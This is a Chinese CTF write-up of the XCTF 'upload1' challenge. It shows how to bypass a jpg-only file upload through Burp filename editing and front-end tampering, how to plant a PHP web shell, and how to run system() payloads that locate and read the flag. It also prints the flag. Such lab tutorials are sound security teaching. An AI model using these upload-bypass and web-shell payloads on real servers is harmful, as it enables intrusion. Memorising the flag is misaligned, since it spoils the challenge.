0x01. 进入环境,查看问题

xctf攻防世界 Web高手进阶区 upload1_html


随便上传文件后,发现提示请上传jpg文件。也就是只让上传jpg文件,尝试上传后,如图:

xctf攻防世界 Web高手进阶区 upload1_上传_02


可以直接访问地址:​​http://61.147.171.105:50326/upload/1659513440.a.jpg​​完成上传内容的访问。

0x02. 开始做题

0x02_1. 问题分析

上传成功后,我们没有其他内容,猜测是让上传成功后,需要让上传的东西透露出一些内容,联想到php中的一句话木马。

0x02_2. 解法一

我们创建一个一句话木马,并将其后缀改成jpg,打开burpsuite进行上传并抓包,如图:

xctf攻防世界 Web高手进阶区 upload1_web安全_03


将其放入repeater中,修改filename为.php,再次提交,如图:

xctf攻防世界 Web高手进阶区 upload1_php_04


此图说明一句话木马已经上传成功了,读取链接为​​http://61.147.171.105:50326/upload/1659514417.a.php​​,接着使用蚁剑工具进行直接连接,如图:

xctf攻防世界 Web高手进阶区 upload1_安全_05


在内容中翻腾一下,可以看到:

xctf攻防世界 Web高手进阶区 upload1_html_06


打开后,得到最终的flag,最终的答案为:​​cyberpeace{c5e37ef852170a34ffb889d26c6bad7c}​

0x02_3. 解法二

利用php中的system命令,直接进行查找flag相关内容,再查看即可返回具体内容。首先构造payload,

<?php system('find / -name "flag*"'); ?>

如图:

xctf攻防世界 Web高手进阶区 upload1_上传_07


接着访问地址,直接回显flag的位置。

xctf攻防世界 Web高手进阶区 upload1_安全_08


可以看到,flag位置处于:​​/var/www/html/flag.php​​,接着使用cat查看具体内容,继续修改payload:

<?php system('cat /var/www/html/flag.php'); ?>

如图:

xctf攻防世界 Web高手进阶区 upload1_web安全_09


访问链接,查看回显内容,如图:

xctf攻防世界 Web高手进阶区 upload1_web安全_10


得到最终falg答案。

0x02_4. 解法三

我们让前端按钮直接失效,强制上传php一句话木马文件,如图,找到上传按钮,在前端中直接删掉disabled,回车直接上传,

xctf攻防世界 Web高手进阶区 upload1_上传_11


上传成功后显示如图:

xctf攻防世界 Web高手进阶区 upload1_安全_12


表示php文件强制上传成功,接着使用蚁剑进行链接,后续操作同解法一后半部分。